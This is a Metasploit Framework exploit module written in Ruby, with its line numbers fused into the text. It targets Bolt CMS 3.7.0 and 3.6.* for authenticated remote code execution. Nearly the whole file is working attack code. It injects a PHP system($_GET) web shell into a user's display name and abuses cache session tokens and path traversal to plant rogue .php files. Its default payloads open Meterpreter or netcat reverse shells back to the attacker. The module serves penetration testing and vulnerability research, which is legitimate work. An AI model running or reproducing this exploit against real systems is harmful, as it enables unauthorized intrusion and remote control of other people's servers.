Path: blob/master/modules/exploits/unix/webapp/bolt_authenticated_rce.rb
28859 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GreatRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',18'Description' => %q{19This module exploits multiple vulnerabilities in Bolt CMS version 3.7.020and 3.6.* in order to execute arbitrary commands as the user running Bolt.2122This module first takes advantage of a vulnerability that allows an23authenticated user to change the username in /bolt/profile to a PHP24`system($_GET[""])` variable. Next, the module obtains a list of tokens25from `/async/browse/cache/.sessions` and uses these to create files with26the blacklisted `.php` extention via HTTP POST requests to27`/async/folder/rename`. For each created file, the module checks the HTTP28response for evidence that the file can be used to execute arbitrary29commands via the created PHP $_GET variable. If the response is negative,30the file is deleted, otherwise the payload is executed via an HTTP31get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`3233Valid credentials for a Bolt CMS user are required. This module has been34successfully tested against Bolt CMS 3.7.0 running on CentOS 7.35},36'License' => MSF_LICENSE,37'Author' => [38'Sivanesh Ashok', # Discovery39'r3m0t3nu11', # PoC40'Erik Wynter' # @wyntererik - Metasploit41],42'References' => [43['CVE', '2025-34086'],44['EDB', '48296'],45['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok46],47'Targets' => [48[49'Linux (x86)', {50'Arch' => ARCH_X86,51'Platform' => 'linux',52'DefaultOptions' => {53'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'54}55}56],57[58'Linux (x64)', {59'Arch' => ARCH_X64,60'Platform' => 'linux',61'DefaultOptions' => {62'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'63}64}65],66[67'Linux (cmd)', {68'Arch' => ARCH_CMD,69'Platform' => 'unix',70'DefaultOptions' => {71'PAYLOAD' => 'cmd/unix/reverse_netcat'72}73}74]75],76'Privileged' => false,77'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time78'DefaultOptions' => {79'RPORT' => 8000,80'WfsDelay' => 581},82'DefaultTarget' => 2,83'Notes' => {84'NOCVE' => ['0day'],85'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service86'Reliability' => [REPEATABLE_SESSION],87'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]88}89)90)9192register_options [93OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),94OptString.new('USERNAME', [true, 'Username to authenticate with', false]),95OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),96OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])97]98end99100def check101# obtain token and cookie required for login102res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')103104return CheckCode::Unknown('Connection failed') unless res105106unless res.code == 200 && res.body.include?('Sign in to Bolt')107return CheckCode::Safe('Target is not a Bolt CMS application.')108end109110html = res.get_html_document111token = html.at('input[@id="user_login__token"]')['value']112cookie = res.get_cookies113114# perform login115res = send_request_cgi({116'method' => 'POST',117'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),118'cookie' => cookie,119'vars_post' => {120'user_login[username]' => datastore['USERNAME'],121'user_login[password]' => datastore['PASSWORD'],122'user_login[login]' => '',123'user_login[_token]' => token124}125})126127return CheckCode::Unknown('Connection failed') unless res128129unless res.code == 302 && res.body.include?('Redirecting to /bolt')130return CheckCode::Unknown('Failed to authenticate to the server.')131end132133@cookie = res.get_cookies134return unless @cookie135136# visit profile page to obtain user_profile token and user email137res = send_request_cgi({138'method' => 'GET',139'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),140'cookie' => @cookie141})142143return CheckCode::Unknown('Connection failed') unless res144145unless res.code == 200 && res.body.include?('<title>Profile')146return CheckCode::Unknown('Failed to authenticate to the server.')147end148149html = res.get_html_document150151@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile152unless @email # create fake email if this value is not found153@email = Rex::Text.rand_text_alpha_lower(5..8)154@email << "@#{@email}."155@email << Rex::Text.rand_text_alpha_lower(2..3)156print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")157end158159@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)160161if !@profile_token || @profile_token.to_s.empty?162return CheckCode::Unknown('Authentication failure.')163end164165# change user profile to a php $_GET variable166@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)167res = send_request_cgi({168'method' => 'POST',169'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),170'cookie' => @cookie,171'vars_post' => {172'user_profile[password][first]' => datastore['PASSWORD'],173'user_profile[password][second]' => datastore['PASSWORD'],174'user_profile[email]' => @email,175'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",176'user_profile[save]' => '',177'user_profile[_token]' => @profile_token178}179})180181return CheckCode::Unknown('Connection failed') unless res182183# visit profile page again to verify the changes184res = send_request_cgi({185'method' => 'GET',186'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),187'cookie' => @cookie188})189190return CheckCode::Unknown('Connection failed') unless res191192unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}'")193return CheckCode::Unknown('Authentication failure.')194end195196CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")197end198199def exploit200csrf201unless @csrf_token && !@csrf_token.empty?202fail_with Failure::NoAccess, 'Failed to obtain CSRF token'203end204vprint_status("Found CSRF token: #{@csrf_token}")205206file_tokens = obtain_cache_tokens207unless file_tokens && !file_tokens.empty?208fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'209end210print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")211212token_results = try_tokens(file_tokens)213unless token_results && !token_results.empty?214fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'215end216217valid_token = token_results[0]218@rogue_file = token_results[1]219220print_good("Used token #{valid_token} to create #{@rogue_file}.")221if target.arch.first == ARCH_CMD222execute_command(payload.encoded)223else224execute_cmdstager225end226end227228def csrf229# visit /bolt/overview/showcases to get csrf token230res = send_request_cgi({231'method' => 'GET',232'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),233'cookie' => @cookie234})235236fail_with Failure::Unreachable, 'Connection failed' unless res237238unless res.code == 200 && res.body.include?('Showcases')239fail_with Failure::NoAccess, 'Failed to obtain CSRF token'240end241242html = res.get_html_document243@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']244end245246def obtain_cache_tokens247# obtain tokens for creating rogue .php files from cache248res = send_request_cgi({249'method' => 'GET',250'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),251'cookie' => @cookie252})253254fail_with Failure::Unreachable, 'Connection failed' unless res255256unless res.code == 200 && res.body.include?('entry disabled')257fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'258end259260html = res.get_html_document261entries = html.search('tr')262tokens = []263entries.each do |e|264token = e.at('span[@class="entry disabled"]').text.strip265size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]266tokens.append(token) if size.to_i >= 2000267end268269tokens270end271272def try_tokens(file_tokens)273# create .php files and check if any of them can be used for RCE via the username $_GET variable274file_tokens.each do |token|275file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present276file_name = Rex::Text.rand_text_alpha_lower(8..12)277file_name << '.php'278279# use token to create rogue .php file by 'renaming' a file from cache280res = send_request_cgi({281'method' => 'POST',282'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),283'cookie' => @cookie,284'vars_post' => {285'namespace' => 'root',286'parent' => '/app/cache/.sessions',287'oldname' => token,288'newname' => "#{file_path}/#{file_name}",289'token' => @csrf_token290}291})292293fail_with Failure::Unreachable, 'Connection failed' unless res294295next unless res.code == 200 && res.body.include?(file_name)296297# check if .php file contains an empty `displayname` value. If so, cmd execution should work.298res = send_request_cgi({299'method' => 'GET',300'uri' => normalize_uri(target_uri.path, 'files', file_name),301'cookie' => @cookie302})303304fail_with Failure::Unreachable, 'Connection failed' unless res305306# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number307unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)308delete_file(file_name)309next310end311312return token, file_name313end314315nil316end317318def execute_command(cmd, _opts = {})319if target.arch.first == ARCH_CMD320print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")321end322323res = send_request_cgi({324'method' => 'GET',325'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),326'cookie' => @cookie,327'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout328}, 3.5)329330# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number331unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)332print_warning('No response, may have executed a blocking payload!')333return334end335336print_good('Payload executed!')337end338339def cleanup340super341342# delete rogue .php file used for execution (if present)343delete_file(@rogue_file) if @rogue_file344345return unless @profile_token346347# change user profile back to original348res = send_request_cgi({349'method' => 'POST',350'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),351'cookie' => @cookie,352'vars_post' => {353'user_profile[password][first]' => datastore['PASSWORD'],354'user_profile[password][second]' => datastore['PASSWORD'],355'user_profile[email]' => @email,356'user_profile[displayname]' => datastore['USERNAME'].to_s,357'user_profile[save]' => '',358'user_profile[_token]' => @profile_token359}360})361362unless res363print_warning('Failed to revert user profile back to original state.')364return365end366367# visit profile page again to verify the changes368res = send_request_cgi({369'method' => 'GET',370'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),371'cookie' => @cookie372})373374unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)375print_warning('Failed to revert user profile back to original state.')376end377378print_good('Reverted user profile back to original state.')379end380381def delete_file(file_name)382res = send_request_cgi({383'method' => 'POST',384'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),385'cookie' => @cookie,386'vars_post' => {387'namespace' => 'files',388'filename' => file_name,389'token' => @csrf_token390}391})392393unless res && res.code == 200 && res.body.include?(file_name)394print_warning("Failed to delete file #{file_name}. Manual cleanup required.")395end396397print_good("Deleted file #{file_name}.")398end399400end401402403